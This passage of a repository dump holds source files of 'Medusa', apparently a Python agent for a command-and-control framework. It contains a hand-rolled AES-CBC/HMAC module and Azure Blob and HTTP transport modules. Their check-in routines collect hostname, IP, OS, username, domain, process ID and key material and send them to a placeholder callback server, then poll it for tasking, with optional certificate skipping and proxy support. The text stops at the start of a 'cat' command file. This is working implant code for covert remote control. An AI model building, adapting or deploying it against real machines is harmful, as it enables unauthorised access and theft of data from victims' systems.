def unpad(plaintext):
padding_len = ord(plaintext[-1])
assert padding_len > 0
message, padding = plaintext[:-padding_len], plaintext[-padding_len:]
assert all(p == chr(padding_len) for p in padding)
return message
def split_blocks(message, block_size=16, require_padding=True):
assert len(message) % block_size == 0 or not require_padding
return [message[i:i+16] for i in range(0, len(message), block_size)]
class AES:
rounds_by_key_size = {16: 10, 24: 12, 32: 14}
def __init__(self, master_key):
assert len(master_key) in AES.rounds_by_key_size
self.n_rounds = AES.rounds_by_key_size[len(master_key)]
self._key_matrices = self._expand_key(master_key)
def _expand_key(self, master_key):
key_columns = bytes2matrix(master_key)
iteration_size = len(master_key) // 4
columns_per_iteration = len(key_columns)
i = 1
while len(key_columns) < (self.n_rounds + 1) * 4:
word = list(key_columns[-1])
if len(key_columns) % iteration_size == 0:
word.append(word.pop(0))
word = [s_box[b] for b in word]
word[0] ^= r_con[i]
i += 1
elif len(master_key) == 32 and len(key_columns) % iteration_size == 4:
word = [s_box[b] for b in word]
word = xor_bytes(word, key_columns[-iteration_size])
key_columns.append(word)
return [key_columns[4*i : 4*(i+1)] for i in range(len(key_columns) // 4)]
def encrypt_block(self, plaintext):
assert len(plaintext) == 16
plain_state = bytes2amatrix(plaintext)
add_round_key(plain_state, self._key_matrices[0])
for i in range(1, self.n_rounds):
sub_bytes(plain_state)
shift_rows(plain_state)
mix_columns(plain_state)
add_round_key(plain_state, self._key_matrices[i])
sub_bytes(plain_state)
shift_rows(plain_state)
add_round_key(plain_state, self._key_matrices[-1])
return matrix2bytes(plain_state)
def decrypt_block(self, ciphertext):
assert len(ciphertext) == 16
cipher_state = bytes2matrix(ciphertext)
add_round_key(cipher_state, self._key_matrices[-1])
inv_shift_rows(cipher_state)
inv_sub_bytes(cipher_state)
for i in range(self.n_rounds - 1, 0, -1):
add_round_key(cipher_state, self._key_matrices[i])
inv_mix_columns(cipher_state)
inv_shift_rows(cipher_state)
inv_sub_bytes(cipher_state)
add_round_key(cipher_state, self._key_matrices[0])
return matrix2bytes(cipher_state)
def encrypt_cbc(self, plaintext, iv):
assert len(iv) == 16
plaintext = pad(plaintext)
blocks = []
previous = iv
for plaintext_block in split_blocks(plaintext):
block = self.encrypt_block(xor_bytes(plaintext_block, previous))
blocks.extend(block)
previous = block
return bytes(b''.join(blocks))
def decrypt_cbc(self, ciphertext, iv):
assert len(iv) == 16
blocks = []
previous = iv
for ciphertext_block in split_blocks(ciphertext):
blocks.extend(xor_bytes(previous, self.decrypt_block(ciphertext_block), True))
previous = ciphertext_block
return unpad(''.join(blocks))
class medusa:
def encrypt(self, data):
from hmac import new
import hashlib
if self.agent_config["enc_key"]["value"] == "aes256_hmac" and len(data)>0:
key = base64.b64decode(self.agent_config["enc_key"]["enc_key"])
iv = os.urandom(16)
ciphertext = AES(key).encrypt_cbc(data, iv)
hmac = new(key, iv + ciphertext, hashlib.sha256).digest()
return iv + ciphertext + hmac
else: return data
def decrypt(self, data):
from hmac import new, compare_digest
import hashlib
if self.agent_config["enc_key"]["value"] == "aes256_hmac":
if len(data)>0:
key = base64.b64decode(self.agent_config["enc_key"]["dec_key"])
uuid = data[:36]
iv = data[36:52]
ct = data[52:-32]
received_hmac = data[-32:]
hmac = new(key, iv + ct, hashlib.sha256).digest()
if compare_digest(hmac, received_hmac):
return (uuid + AES(key).decrypt_cbc(ct, iv)).decode()
else: return ""
else: return ""
else: return data.decode()
================================================
FILE: Payload_Type/medusa/medusa/agent_code/base_agent/manual_crypto.py3
================================================
s_box = (
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)
inv_s_box = (
0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,
0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,
0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,
0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,
0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,
0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,
0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,
0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,
0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,
0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,
0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,
0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,
0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,
0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D,
)
def sub_bytes(s):
for i in range(4):
for j in range(4):
s[i][j] = s_box[s[i][j]]
def inv_sub_bytes(s):
for i in range(4):
for j in range(4):
s[i][j] = inv_s_box[s[i][j]]
def shift_rows(s):
s[0][1], s[1][1], s[2][1], s[3][1] = s[1][1], s[2][1], s[3][1], s[0][1]
s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
s[0][3], s[1][3], s[2][3], s[3][3] = s[3][3], s[0][3], s[1][3], s[2][3]
def inv_shift_rows(s):
s[0][1], s[1][1], s[2][1], s[3][1] = s[3][1], s[0][1], s[1][1], s[2][1]
s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
s[0][3], s[1][3], s[2][3], s[3][3] = s[1][3], s[2][3], s[3][3], s[0][3]
def add_round_key(s, k):
for i in range(4):
for j in range(4):
s[i][j] ^= k[i][j]
xtime = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1)
def mix_single_column(a):
t = a[0] ^ a[1] ^ a[2] ^ a[3]
u = a[0]
a[0] ^= t ^ xtime(a[0] ^ a[1])
a[1] ^= t ^ xtime(a[1] ^ a[2])
a[2] ^= t ^ xtime(a[2] ^ a[3])
a[3] ^= t ^ xtime(a[3] ^ u)
def mix_columns(s):
for i in range(4): mix_single_column(s[i])
def inv_mix_columns(s):
for i in range(4):
u = xtime(xtime(s[i][0] ^ s[i][2]))
v = xtime(xtime(s[i][1] ^ s[i][3]))
s[i][0] ^= u
s[i][1] ^= v
s[i][2] ^= u
s[i][3] ^= v
mix_columns(s)
r_con = (
0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40,
0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D, 0x9A,
0x2F, 0x5E, 0xBC, 0x63, 0xC6, 0x97, 0x35, 0x6A,
0xD4, 0xB3, 0x7D, 0xFA, 0xEF, 0xC5, 0x91, 0x39,
)
def bytes2matrix(text):
return [list(text[i:i+4]) for i in range(0, len(text), 4)]
def matrix2bytes(matrix):
return bytes(sum(matrix, []))
def xor_bytes(a, b):
return bytes(i^j for i, j in zip(a, b))
def inc_bytes(a):
out = list(a)
for i in reversed(range(len(out))):
if out[i] == 0xFF:
out[i] = 0
else:
out[i] += 1
break
return bytes(out)
def pad(plaintext):
padding_len = 16 - (len(plaintext) % 16)
padding = bytes([padding_len] * padding_len)
return plaintext + padding
def unpad(plaintext):
padding_len = plaintext[-1]
assert padding_len > 0
message, padding = plaintext[:-padding_len], plaintext[-padding_len:]
assert all(p == padding_len for p in padding)
return message
def split_blocks(message, block_size=16, require_padding=True):
assert len(message) % block_size == 0 or not require_padding
return [message[i:i+16] for i in range(0, len(message), block_size)]
class AES:
rounds_by_key_size = {16: 10, 24: 12, 32: 14}
def __init__(self, master_key):
assert len(master_key) in AES.rounds_by_key_size
self.n_rounds = AES.rounds_by_key_size[len(master_key)]
self._key_matrices = self._expand_key(master_key)
def _expand_key(self, master_key):
key_columns = bytes2matrix(master_key)
iteration_size = len(master_key) // 4
columns_per_iteration = len(key_columns)
i = 1
while len(key_columns) < (self.n_rounds + 1) * 4:
word = list(key_columns[-1])
if len(key_columns) % iteration_size == 0:
word.append(word.pop(0))
word = [s_box[b] for b in word]
word[0] ^= r_con[i]
i += 1
elif len(master_key) == 32 and len(key_columns) % iteration_size == 4:
word = [s_box[b] for b in word]
word = xor_bytes(word, key_columns[-iteration_size])
key_columns.append(word)
return [key_columns[4*i : 4*(i+1)] for i in range(len(key_columns) // 4)]
def encrypt_block(self, plaintext):
assert len(plaintext) == 16
plain_state = bytes2matrix(plaintext)
add_round_key(plain_state, self._key_matrices[0])
for i in range(1, self.n_rounds):
sub_bytes(plain_state)
shift_rows(plain_state)
mix_columns(plain_state)
add_round_key(plain_state, self._key_matrices[i])
sub_bytes(plain_state)
shift_rows(plain_state)
add_round_key(plain_state, self._key_matrices[-1])
return matrix2bytes(plain_state)
def decrypt_block(self, ciphertext):
assert len(ciphertext) == 16
cipher_state = bytes2matrix(ciphertext)
add_round_key(cipher_state, self._key_matrices[-1])
inv_shift_rows(cipher_state)
inv_sub_bytes(cipher_state)
for i in range(self.n_rounds - 1, 0, -1):
add_round_key(cipher_state, self._key_matrices[i])
inv_mix_columns(cipher_state)
inv_shift_rows(cipher_state)
inv_sub_bytes(cipher_state)
add_round_key(cipher_state, self._key_matrices[0])
return matrix2bytes(cipher_state)
def encrypt_cbc(self, plaintext, iv):
assert len(iv) == 16
plaintext = pad(plaintext)
blocks = []
previous = iv
for plaintext_block in split_blocks(plaintext):
block = self.encrypt_block(xor_bytes(plaintext_block, previous))
blocks.append(block)
previous = block
return b''.join(blocks)
def decrypt_cbc(self, ciphertext, iv):
assert len(iv) == 16
blocks = []
previous = iv
for ciphertext_block in split_blocks(ciphertext):
blocks.append(xor_bytes(previous, self.decrypt_block(ciphertext_block)))
previous = ciphertext_block
return unpad(b''.join(blocks))
class medusa:
def encrypt(self, data):
from hmac import new
if self.agent_config["enc_key"]["value"] == "aes256_hmac" and len(data)>0:
key = base64.b64decode(self.agent_config["enc_key"]["enc_key"])
iv = os.urandom(16)
ciphertext = AES(key).encrypt_cbc(data, iv)
hmac = new(key, iv + ciphertext, 'sha256').digest()
return iv + ciphertext + hmac
else:
return data
def decrypt(self, data):
from hmac import new, compare_digest
if self.agent_config["enc_key"]["value"] == "aes256_hmac":
if len(data)>0:
key = base64.b64decode(self.agent_config["enc_key"]["dec_key"])
uuid = data[:36]
iv = data[36:52]
ct = data[52:-32]
received_hmac = data[-32:]
hmac = new(key, iv + ct, 'sha256').digest()
if compare_digest(hmac, received_hmac):
return (uuid + AES(key).decrypt_cbc(ct, iv)).decode()
else: return ""
else: return ""
else: return data.decode()
================================================
FILE: Payload_Type/medusa/medusa/agent_code/base_agent/transport_azure_blob.py2
================================================
### IMPORTS ###
import urllib2
import uuid
### CLASS_FIELDS ###
blob_endpoint = "BLOB_ENDPOINT_PLACEHOLDER"
container_name = "CONTAINER_NAME_PLACEHOLDER"
sas_token = "CONTAINER_SAS_PLACEHOLDER"
gcontext = None
#CERTSKIP
### FUNCTIONS ###
def get_blob_url(self, blob_path):
return "{}/{}/{}?{}".format(self.blob_endpoint, self.container_name, blob_path, self.sas_token)
def put_blob(self, blob_path, data):
url = self.get_blob_url(blob_path)
try:
req = urllib2.Request(url, data=data)
req.get_method = lambda: "PUT"
req.add_header("x-ms-blob-type", "BlockBlob")
req.add_header("Content-Type", "application/octet-stream")
req.add_header("Content-Length", str(len(data)))
try:
resp = urllib2.urlopen(req, context=self.gcontext, timeout=30)
except TypeError:
resp = urllib2.urlopen(req, timeout=30)
try:
return resp.getcode() in (200, 201)
finally:
try:
resp.close()
except Exception:
pass
except Exception:
return False
def delete_blob(self, blob_path):
url = self.get_blob_url(blob_path)
try:
req = urllib2.Request(url)
req.get_method = lambda: "DELETE"
req.add_header("x-ms-blob-type", "BlockBlob")
req.add_header("Content-Type", "application/octet-stream")
try:
resp = urllib2.urlopen(req, context=self.gcontext, timeout=30)
except TypeError:
resp = urllib2.urlopen(req, timeout=30)
try:
return resp.getcode() in (200, 201, 202, 204)
finally:
try:
resp.close()
except Exception:
pass
except Exception:
return False
def get_blob(self, blob_path):
url = self.get_blob_url(blob_path)
try:
req = urllib2.Request(url)
try:
resp = urllib2.urlopen(req, context=self.gcontext, timeout=30)
except TypeError:
resp = urllib2.urlopen(req, timeout=30)
try:
return resp.read()
finally:
resp.close()
except urllib2.HTTPError as e:
if e.code == 404:
return b""
return b""
except Exception:
return b""
def postMessageAndRetrieveResponseBlob(self, data):
formatted_data = self.formatMessage(data)
message_id = uuid.uuid4()
self.put_blob("ats/{}.blob".format(message_id), formatted_data)
response = b""
while response == b"":
self.agentSleep()
response = self.get_blob("sta/{}.blob".format(message_id))
self.delete_blob("sta/{}.blob".format(message_id))
decoded_response = base64.b64decode(response)
return self.formatResponse(self.decrypt(decoded_response))
def postMessageAndRetrieveResponse(self, data):
return self.postMessageAndRetrieveResponseBlob(data)
def getMessageAndRetrieveResponse(self, data):
return self.postMessageAndRetrieveResponseBlob(data)
def checkIn(self):
hostname = socket.gethostname()
ip = ''
if hostname and len(hostname) > 0:
try:
ip = socket.gethostbyname(hostname)
except:
pass
data = {
"action": "checkin",
"ip": ip,
"os": self.getOSVersion(),
"user": self.getUsername(),
"host": hostname,
"domain": socket.getfqdn(),
"pid": os.getpid(),
"uuid": self.agent_config["PayloadUUID"],
"architecture": "x64" if sys.maxsize > 2**32 else "x86",
"encryption_key": self.agent_config["enc_key"]["enc_key"],
"decryption_key": self.agent_config["enc_key"]["dec_key"]
}
response_data = self.postMessageAndRetrieveResponse(data)
if("status" in response_data):
UUID = response_data["id"]
self.agent_config["UUID"] = UUID
return True
else: return False
def makeRequest(self, data, method='GET'):
hdrs = {}
for header in self.agent_config["Headers"]:
hdrs[header] = self.agent_config["Headers"][header]
if method == 'GET':
req = urllib2.Request(self.agent_config["Server"] + ":" + self.agent_config["Port"] + self.agent_config["GetURI"] + "?" + self.agent_config["GetParam"] + "=" + data.decode(), None, hdrs)
else:
req = urllib2.Request(self.agent_config["Server"] + ":" + self.agent_config["Port"] + self.agent_config["PostURI"], data, hdrs)
if self.agent_config["ProxyHost"] and self.agent_config["ProxyPort"]:
tls = "https" if self.agent_config["ProxyHost"][0:5] == "https" else "http"
handler = urllib2.HTTPSHandler if tls else urllib2.HTTPHandler
if self.agent_config["ProxyUser"] and self.agent_config["ProxyPass"]:
proxy = urllib2.ProxyHandler({
"{}".format(tls): '{}://{}:{}@{}:{}'.format(tls, self.agent_config["ProxyUser"], self.agent_config["ProxyPass"], \
self.agent_config["ProxyHost"].replace(tls+"://", ""), self.agent_config["ProxyPort"])
})
auth = urllib2.HTTPBasicAuthHandler()
opener = urllib2.build_opener(proxy, auth, handler)
else:
proxy = urllib2.ProxyHandler({
"{}".format(tls): '{}://{}:{}'.format(tls, self.agent_config["ProxyHost"].replace(tls+"://", ""), self.agent_config["ProxyPort"])
})
opener = urllib2.build_opener(proxy, handler)
urllib2.install_opener(opener)
try:
try:
response = urllib2.urlopen(req, context=self.gcontext, timeout=30)
except TypeError:
response = urllib2.urlopen(req, timeout=30)
out = base64.b64decode(response.read())
response.close()
return out
except: return ""
### CONFIG ###
"Headers": HEADER_PLACEHOLDER,
"Sleep": int("CALLBACK_INTERVAL_PLACEHOLDER"),
"Jitter": int("CALLBACK_JITTER_PLACEHOLDER"),
================================================
FILE: Payload_Type/medusa/medusa/agent_code/base_agent/transport_azure_blob.py3
================================================
### IMPORTS ###
import urllib.request
import uuid
### CLASS_FIELDS ###
blob_endpoint = "BLOB_ENDPOINT_PLACEHOLDER"
container_name = "CONTAINER_NAME_PLACEHOLDER"
sas_token = "CONTAINER_SAS_PLACEHOLDER"
gcontext = None
#CERTSKIP
### FUNCTIONS ###
def get_blob_url(self, blob_path: str) -> str:
return f"{self.blob_endpoint}/{self.container_name}/{blob_path}?{self.sas_token}"
def put_blob(self, blob_path: str, data: bytes) -> bool:
url = self.get_blob_url(blob_path)
try:
req = urllib.request.Request(
url,
data=data,
method="PUT",
headers={
"x-ms-blob-type": "BlockBlob",
"Content-Type": "application/octet-stream",
"Content-Length": str(len(data)),
}
)
with urllib.request.urlopen(req, context=self.gcontext, timeout=30) as resp:
return resp.status in (200, 201)
except Exception:
return False
def delete_blob(self, blob_path: str) -> bool:
url = self.get_blob_url(blob_path)
try:
req = urllib.request.Request(
url,
method="DELETE",
headers={
"x-ms-blob-type": "BlockBlob",
"Content-Type": "application/octet-stream",
}
)
with urllib.request.urlopen(req, context=self.gcontext, timeout=30) as resp:
return resp.status in (200, 201, 202, 204)
except Exception:
return False
def get_blob(self, blob_path: str) -> bytes:
url = self.get_blob_url(blob_path)
try:
req = urllib.request.Request(url, method="GET")
with urllib.request.urlopen(req, context=self.gcontext, timeout=30) as resp:
return resp.read()
except urllib.request.HTTPError as e:
if e.code == 404:
return b""
return b""
except Exception:
return b""
def postMessageAndRetrieveResponseBlob(self, data):
formatted_data = self.formatMessage(data)
message_id = uuid.uuid4()
self.put_blob(f"ats/{message_id}.blob", formatted_data)
response = b""
while response == b"":
self.agentSleep()
response = self.get_blob(f"sta/{message_id}.blob")
self.delete_blob(f"sta/{message_id}.blob")
decoded_response = base64.b64decode(response)
return self.formatResponse(self.decrypt(decoded_response))
def postMessageAndRetrieveResponse(self, data):
return self.postMessageAndRetrieveResponseBlob(data)
def getMessageAndRetrieveResponse(self, data):
return self.postMessageAndRetrieveResponseBlob(data)
def checkIn(self):
hostname = socket.gethostname()
ip = ''
if hostname and len(hostname) > 0:
try:
ip = socket.gethostbyname(hostname)
except:
pass
data = {
"action": "checkin",
"ip": ip,
"os": self.getOSVersion(),
"user": self.getUsername(),
"host": hostname,
"domain": socket.getfqdn(),
"pid": os.getpid(),
"uuid": self.agent_config["PayloadUUID"],
"architecture": "x64" if sys.maxsize > 2**32 else "x86",
"encryption_key": self.agent_config["enc_key"]["enc_key"],
"decryption_key": self.agent_config["enc_key"]["dec_key"]
}
response_data = self.postMessageAndRetrieveResponse(data)
if("status" in response_data):
UUID = response_data["id"]
self.agent_config["UUID"] = UUID
return True
else: return False
def makeRequest(self, data, method='GET'):
hdrs = {}
for header in self.agent_config["Headers"]:
hdrs[header] = self.agent_config["Headers"][header]
if method == 'GET':
req = urllib.request.Request(self.agent_config["Server"] + ":" + self.agent_config["Port"] + self.agent_config["GetURI"] + "?" + self.agent_config["GetParam"] + "=" + data.decode(), None, hdrs)
else:
req = urllib.request.Request(self.agent_config["Server"] + ":" + self.agent_config["Port"] + self.agent_config["PostURI"], data, hdrs)
if self.agent_config["ProxyHost"] and self.agent_config["ProxyPort"]:
tls = "https" if self.agent_config["ProxyHost"][0:5] == "https" else "http"
handler = urllib.request.HTTPSHandler if tls else urllib.request.HTTPHandler
if self.agent_config["ProxyUser"] and self.agent_config["ProxyPass"]:
proxy = urllib.request.ProxyHandler({
"{}".format(tls): '{}://{}:{}@{}:{}'.format(tls, self.agent_config["ProxyUser"], self.agent_config["ProxyPass"], \
self.agent_config["ProxyHost"].replace(tls+"://", ""), self.agent_config["ProxyPort"])
})
auth = urllib.request.HTTPBasicAuthHandler()
opener = urllib.request.build_opener(proxy, auth, handler)
else:
proxy = urllib.request.ProxyHandler({
"{}".format(tls): '{}://{}:{}'.format(tls, self.agent_config["ProxyHost"].replace(tls+"://", ""), self.agent_config["ProxyPort"])
})
opener = urllib.request.build_opener(proxy, handler)
urllib.request.install_opener(opener)
try:
with urllib.request.urlopen(req, context=self.gcontext, timeout=30) as response:
out = base64.b64decode(response.read())
response.close()
return out
except: return ""
### CONFIG ###
"Headers": HEADER_PLACEHOLDER,
"Sleep": int("CALLBACK_INTERVAL_PLACEHOLDER"),
"Jitter": int("CALLBACK_JITTER_PLACEHOLDER"),
================================================
FILE: Payload_Type/medusa/medusa/agent_code/base_agent/transport_http.py2
================================================
### IMPORTS ###
import urllib2
### CLASS_FIELDS ###
### FUNCTIONS ###
def postMessageAndRetrieveResponse(self, data):
return self.formatResponse(self.decrypt(self.makeRequest(self.formatMessage(data), 'POST')))
def getMessageAndRetrieveResponse(self, data):
return self.formatResponse(self.decrypt(self.makeRequest(self.formatMessage(data, True))))
def checkIn(self):
hostname = socket.gethostname()
ip = ''
if hostname and len(hostname) > 0:
try:
ip = socket.gethostbyname(hostname)
except:
pass
data = {
"action": "checkin",
"ip": ip,
"os": self.getOSVersion(),
"user": self.getUsername(),
"host": hostname,
"domain": socket.getfqdn(),
"pid": os.getpid(),
"uuid": self.agent_config["PayloadUUID"],
"architecture": "x64" if sys.maxsize > 2**32 else "x86",
"encryption_key": self.agent_config["enc_key"]["enc_key"],
"decryption_key": self.agent_config["enc_key"]["dec_key"]
}
response_data = self.postMessageAndRetrieveResponse(data)
if("status" in response_data):
UUID = response_data["id"]
self.agent_config["UUID"] = UUID
return True
else: return False
def makeRequest(self, data, method='GET'):
hdrs = {}
for header in self.agent_config["Headers"]:
hdrs[header] = self.agent_config["Headers"][header]
if method == 'GET':
req = urllib2.Request(self.agent_config["Server"] + ":" + self.agent_config["Port"] + self.agent_config["GetURI"] + "?" + self.agent_config["GetParam"] + "=" + data.decode(), None, hdrs)
else:
req = urllib2.Request(self.agent_config["Server"] + ":" + self.agent_config["Port"] + self.agent_config["PostURI"], data, hdrs)
#CERTSKIP
if self.agent_config["ProxyHost"] and self.agent_config["ProxyPort"]:
tls = "https" if self.agent_config["ProxyHost"][0:5] == "https" else "http"
handler = urllib2.HTTPSHandler if tls else urllib2.HTTPHandler
if self.agent_config["ProxyUser"] and self.agent_config["ProxyPass"]:
proxy = urllib2.ProxyHandler({
"{}".format(tls): '{}://{}:{}@{}:{}'.format(tls, self.agent_config["ProxyUser"], self.agent_config["ProxyPass"], \
self.agent_config["ProxyHost"].replace(tls+"://", ""), self.agent_config["ProxyPort"])
})
auth = urllib2.HTTPBasicAuthHandler()
opener = urllib2.build_opener(proxy, auth, handler)
else:
proxy = urllib2.ProxyHandler({
"{}".format(tls): '{}://{}:{}'.format(tls, self.agent_config["ProxyHost"].replace(tls+"://", ""), self.agent_config["ProxyPort"])
})
opener = urllib2.build_opener(proxy, handler)
urllib2.install_opener(opener)
try:
response = urllib2.urlopen(req)
out = base64.b64decode(response.read())
response.close()
return out
except: return ""
### CONFIG ###
"Server": "callback_host",
"Port": "callback_port",
"PostURI": "/post_uri",
"Headers": HEADER_PLACEHOLDER,
"Sleep": callback_interval,
"Jitter": callback_jitter,
"GetURI": "/get_uri",
"GetParam": "query_path_name",
================================================
FILE: Payload_Type/medusa/medusa/agent_code/base_agent/transport_http.py3
================================================
### IMPORTS ###
import urllib.request
### CLASS_FIELDS ###
### FUNCTIONS ###
def postMessageAndRetrieveResponse(self, data):
return self.formatResponse(self.decrypt(self.makeRequest(self.formatMessage(data), 'POST')))
def getMessageAndRetrieveResponse(self, data):
return self.formatResponse(self.decrypt(self.makeRequest(self.formatMessage(data, True))))
def checkIn(self):
hostname = socket.gethostname()
ip = ''
if hostname and len(hostname) > 0:
try:
ip = socket.gethostbyname(hostname)
except:
pass
data = {
"action": "checkin",
"ip": ip,
"os": self.getOSVersion(),
"user": self.getUsername(),
"host": hostname,
"domain": socket.getfqdn(),
"pid": os.getpid(),
"uuid": self.agent_config["PayloadUUID"],
"architecture": "x64" if sys.maxsize > 2**32 else "x86",
"encryption_key": self.agent_config["enc_key"]["enc_key"],
"decryption_key": self.agent_config["enc_key"]["dec_key"]
}
response_data = self.postMessageAndRetrieveResponse(data)
if("status" in response_data):
UUID = response_data["id"]
self.agent_config["UUID"] = UUID
return True
else: return False
def makeRequest(self, data, method='GET'):
hdrs = {}
for header in self.agent_config["Headers"]:
hdrs[header] = self.agent_config["Headers"][header]
if method == 'GET':
req = urllib.request.Request(self.agent_config["Server"] + ":" + self.agent_config["Port"] + self.agent_config["GetURI"] + "?" + self.agent_config["GetParam"] + "=" + data.decode(), None, hdrs)
else:
req = urllib.request.Request(self.agent_config["Server"] + ":" + self.agent_config["Port"] + self.agent_config["PostURI"], data, hdrs)
#CERTSKIP
if self.agent_config["ProxyHost"] and self.agent_config["ProxyPort"]:
tls = "https" if self.agent_config["ProxyHost"][0:5] == "https" else "http"
handler = urllib.request.HTTPSHandler if tls else urllib.request.HTTPHandler
if self.agent_config["ProxyUser"] and self.agent_config["ProxyPass"]:
proxy = urllib.request.ProxyHandler({
"{}".format(tls): '{}://{}:{}@{}:{}'.format(tls, self.agent_config["ProxyUser"], self.agent_config["ProxyPass"], \
self.agent_config["ProxyHost"].replace(tls+"://", ""), self.agent_config["ProxyPort"])
})
auth = urllib.request.HTTPBasicAuthHandler()
opener = urllib.request.build_opener(proxy, auth, handler)
else:
proxy = urllib.request.ProxyHandler({
"{}".format(tls): '{}://{}:{}'.format(tls, self.agent_config["ProxyHost"].replace(tls+"://", ""), self.agent_config["ProxyPort"])
})
opener = urllib.request.build_opener(proxy, handler)
urllib.request.install_opener(opener)
try:
with urllib.request.urlopen(req) as response:
out = base64.b64decode(response.read())
response.close()
return out
except: return ""
### CONFIG ###
"Server": "callback_host",
"Port": "callback_port",
"PostURI": "/post_uri",
"Headers": HEADER_PLACEHOLDER,
"Sleep": callback_interval,
"Jitter": callback_jitter,
"GetURI": "/get_uri",
"GetParam": "query_path_name",
================================================
FILE: Payload_Type/medusa/medusa/agent_code/cat.py
================================================
def cat(self, task_id, path):
